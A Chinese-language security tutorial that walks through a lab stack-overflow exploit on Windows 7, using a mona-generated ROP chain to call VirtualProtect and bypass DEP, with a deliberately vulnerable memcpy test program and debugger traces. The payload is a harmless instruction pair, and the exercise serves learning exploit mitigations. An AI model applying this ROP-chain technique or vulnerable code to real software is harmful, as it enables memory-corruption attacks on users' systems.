Windows Shellcode學習筆記——通過VirtualProtect繞過DEP
0x00 前言
在掌握了棧溢出的基本原理和利用方法後,接下來就要研究如何繞過Windows系統對棧溢出利用的重重防護,所以測試環境也從xp轉到了Win7(相比xp,Win7的防護更全面)。本文將要介紹經典的DEP繞過方法——通過VirtualProtect繞過DEP。
0x01 簡介
本文將要介紹以下內容:
VS2012的編譯配置
利用Immunity Debugger的mona插件自動獲取ROP鏈對ROP鏈的分析調試調用VirtualProtect函數時的Bug及修復
0x02 相關概念
DEP:
溢出攻擊的根源在於計算機對數據和代碼沒有明確區分,如果將代碼放置於數據段,那麼系統就會去執行
為了彌補這一缺陷,微軟從XP SP2開始支持數據執行保護(Data Exection Prevention)
DEP保護原理:
數據所在內存頁標識為不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,而有了DEP,此時CPU會拋出異常,而不是去執行指令
DEP四種工作狀態:
OptinnOptoutnAlwaysOnnAlwaysOffn
DEP繞過原理:
如果函數返回地址並不直接指向數據段,而是指向一個已存在的系統函數的入口地址,由於系統函數所在的頁面許可權是可執行的,這樣就不會觸發DEP
也就是說,可以在代碼區找到替代指令實現shellcode的功能
但是可供利用的替代指令往往有限,無法完整的實現shellcode的功能
於是產生了一個折中方法:通過替代指令關閉DEP,再轉入執行shellcode
內存頁:
x86系統一個內存頁的大小為4kb,即0x00001000,4096
ROP:
面向返回的編程(Return-oriented Programming)
VirtualProtect:
BOOL VirtualProtect{ nLPVOID lpAddress, nDWORD dwsize, nDWORD flNewProtect, nPDWORD lpflOldProtect n}n
lpAddress:內存起始地址
dwsize:內存區域大小
flNewProtect:內存屬性,PAGE_EXECUTE_READWRITE(0x40)
lpflOldProtect:內存原始屬性保存地址
通過VirtualProtect繞過DEP:
在內存中查找替代指令,填入合適的參數,調用VirtualProtect將shellcode的內存屬性設置為可讀可寫可執行,然後跳到shellcode繼續執行
0x03 VS2012的編譯配置
測試環境:
測試系統: Win 7 x86編譯器: VS2012build版本: Release項目屬性:
關閉GS關閉優化關閉SEH關閉DEP
關閉ASLR禁用c++異常禁用內部函數具體配置方法:
配置屬性-c/c++-所有屬性
安全檢查 否(/GS-)
啟用c++異常 否啟用內部函數 否優化 已禁用(/Od)
配置屬性-鏈接器-所有屬性
數據執行保護(DEP) 否(/NXCOMPAT:NO)
隨機基址 否(/DYNAMICBASE:NO)映像具有安全異常處理程序 否(/SAFESEH:NO)
0x04 實際測試
測試1:
測試代碼:
char shellcode[]=n "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"n "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"n "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"n "x41x41x41x41x42x43x44x45";nvoid test()n{n char buffer[48];n memcpy(buffer,shellcode,sizeof(shellcode));n}nint main()n{n printf("1n");n test();n return 0;n}n
註:
strcpy在執行時遇到0x00會提前截斷,為便於測試shellcode,將strcpy換成memcpy,遇到0x00不會被截斷
如上圖,成功將返回地址覆蓋為0x45444342
測試2:
shellcode起始地址為0x00403020
PUSH 1 nPOP ECXn
對應的機器碼為0x0059016A
將返回地址覆蓋為shellcode起始地址
shellcode實現如下操作:
PUSH 1 nPOP ECXn
其他位用0x90填充
c代碼如下:
char shellcode[]=n "x6Ax01x59x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x20x30x40x00";nvoid test()n{n char buffer[48];n memcpy(buffer,shellcode,sizeof(shellcode));n}nint main()n{n printf("1n");n test();n return 0;n}n
測試3:
開啟DEP,再次調試,發現shellcode無法執行,如圖
測試4:
下載安裝Immunity Debugger
下載mona插件,下載地址如下:
corelan/mona
將mona.py放於C:Program FilesImmunity IncImmunity DebuggerPyCommands下
啟動Immunity Debugger,打開test.exe
使用mona插件自動生成rop鏈,輸入:
!mona rop -m *.dll -cp nonulln
如圖
mona會搜尋所有的DLL,用於構造rop鏈
執行命令後在C:Program FilesImmunity IncImmunity Debugger下生成文件rop.txt、rop_chains.txt、rop_suggestions.txt、stackpivot.txt
查看rop_chains.txt,會列出可用來關閉DEP的ROP鏈,選擇VirtualProtect()函數
如上圖,成功構建ROP鏈
註:
不同環境有可能無法獲得完整參數,需要具體環境具體分析
對應的測試poc修改如下:
unsigned int shellcode[]=n{ n 0x90909090,0x90909090,0x90909090,0x90909090,n 0x90909090,0x90909090,0x90909090,0x90909090,n 0x90909090,0x90909090,0x90909090,0x90909090,n 0x90909090,n 0x77217edd, // POP EAX // RETN [kernel32.dll] n 0x77171910, // ptr to &VirtualProtect() [IAT kernel32.dll]n 0x75d7e9dd, // MOV EAX,DWORD PTR DS:[EAX] // RETN [KERNELBASE.dll] n 0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll] n 0x779cdd30, // POP EBP // RETN [ntdll.dll] n 0x75dac58d, // & call esp [KERNELBASE.dll]n 0x693a7031, // POP EAX // RETN [MSVCR110.dll] n 0xfffffdff, // Value to negate, will become 0x00000201n 0x69354484, // NEG EAX // RETN [MSVCR110.dll] n 0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll] n 0x69329bb1, // POP EAX // RETN [MSVCR110.dll] n 0x41414141, // Filler (RETN offset compensation)n 0x41414141, // Filler (RETN offset compensation)n 0x41414141, // Filler (RETN offset compensation)n 0x41414141, // Filler (RETN offset compensation)n 0xffffffc0, // Value to negate, will become 0x00000040n 0x69354484, // NEG EAX // RETN [MSVCR110.dll] n 0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll] n 0x6935a7c0, // POP ECX // RETN [MSVCR110.dll] n 0x693be00d, // &Writable location [MSVCR110.dll]n 0x779a4b9a, // POP EDI // RETN [ntdll.dll] n 0x69354486, // RETN (ROP NOP) [MSVCR110.dll]n 0x693417cb, // POP EAX // RETN [MSVCR110.dll] n 0x90909090, // nopn 0x69390267, // PUSHAD // RETN [MSVCR110.dll] n 0x9059016A, //PUSH 1 // POP ECX // NOPn 0x90909090,n 0x90909090,n 0x90909090,n 0x90909090n};nvoid test()n{n char buffer[48]; n printf("3n");n memcpy(buffer,shellcode,sizeof(shellcode));n}nint main()n{n printf("1n");n test();n return 0;n}n
其中0x9059016A為PUSH 1;POP ECX;NOP;的機器碼,如果繞過DEP,該指令將會成功執行
編譯後在OllyDbg中調試
單步跟蹤到CALL KERNELBA.VirtualProtectEX,查看堆棧
可獲得傳入的函數參數
如上圖,不巧的是shellcode覆蓋了SEH鏈
這樣會導致傳入VirtualProtectEX函數的參數不正確,調用失敗,猜測調用VirtualProtectEX函數的返回值為0
如上圖,驗證上面的判斷,EAX寄存器表示返回值,返回值為0,修改內存屬性失敗
解決思路:
我們需要擴大棧空間,將SEH鏈下移,確保shellcode不會覆蓋到SEH鏈
解決方法:
修改源代碼,通過申請空間的方式下移SEH鏈
測試5:
關鍵代碼如下:
int main()n{n printf("1n");n test();n char Buf[] = n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90";n return 0;n}n
編譯程序,再次放在OllyDbg中調試
單步跟蹤到CALL KERNELBA.VirtualProtectEX,查看堆棧
如圖
SEH鏈成功「下移」,位於高地址,未被shellcode覆蓋
此時傳入VirtualProtectEX函數的參數正確
按F8單步執行,查看結果
如上圖,返回值為0,修改內存屬性仍失敗
LastErr顯示錯誤為ERRPR_INVALID_ADDRESS(000001E7),表示地址錯誤
測試6:
查看正常調用函數VirtualProtect()時的堆棧,對比測試5,分析失敗原因
正常調用的實現代碼如下:
int main()n{n void *p=malloc(16);n printf("0x%08xn",p);n DWORD pflOldProtect;n int x=VirtualProtect(p,4,0x40,&pflOldProtect);n printf("%dn",x);n return 0;n}n
測試7:
如果將起始地址修改為一個不能訪問的地址,如0x40303020
編譯程序,放在OllyDbg中調試
單步跟蹤到CALL KERNELBA.VirtualProtectEX,查看堆棧
格式如圖
按F8單步執行,查看結果
如圖,產生同樣錯誤:ERRPR_INVALID_ADDRESS(000001E7)
猜測,shellcode傳入的起始地址有問題
繼續我們的測試
測試8
接著測試5,單步跟蹤到CALL KERNELBA.VirtualProtectEX,嘗試修改堆棧中的數據
將內存地址0x0012FF2c修改為當前內存頁的起始地址,即0x0012F000
如圖
按F8單步執行,查看結果
如下圖,寄存器EAX的值為1,即返回值為1,成功修改內存屬性
接著向下執行,在CALL ESP的位置按下F7,單步步入
如上圖,發現PUSH 1;POP ECX成功執行,測試成功,成功通過VirtualProtect繞過DEP,執行數據段的shellcode
註:
這種情況下,VirtualProtectEX一次最大只能修改4096長度的內存(即一個內存頁的長度),且不能跨頁修改,如果越界,返回值為0,修改失敗
通過C調用函數VirtualProtect不存在上述問題,可跨頁,長度大於4096
0x05 小結
為了在Win7下搭建測試環境,對VS2012的編譯配置需要特別注意,多重保護在提高程序安全性的同時也給環境搭建帶來了麻煩
不同系統下可供使用的替代指令往往不同,需要不斷變換思路,構造合適的ROP鏈
另外,Immunity Debugger的mona插件可為ROP鏈的編寫提供便利,但要注意存在bug的情況,需要更多的測試和優化
如果shellcode長度大於4096,使用VirtualProtect關閉DEP會失敗,需要選擇其他方法
本文為3gstudent 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載,如果轉載,請聯繫嘶吼編輯: Windows Shellcode學習筆記——通過VirtualProtect繞過DEP 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※Hydra - Password Crack Tool
※前NSA黑客逆向卡巴斯基殺軟,創建簽名檢測機密文件
※手機銀行木馬Faketoken又更新,利用屏幕重疊竊取銀行信息
※屢禁不止:一個敢於將自己注入到殺毒軟體中的鬥士
TAG:PowerShell | 信息安全 |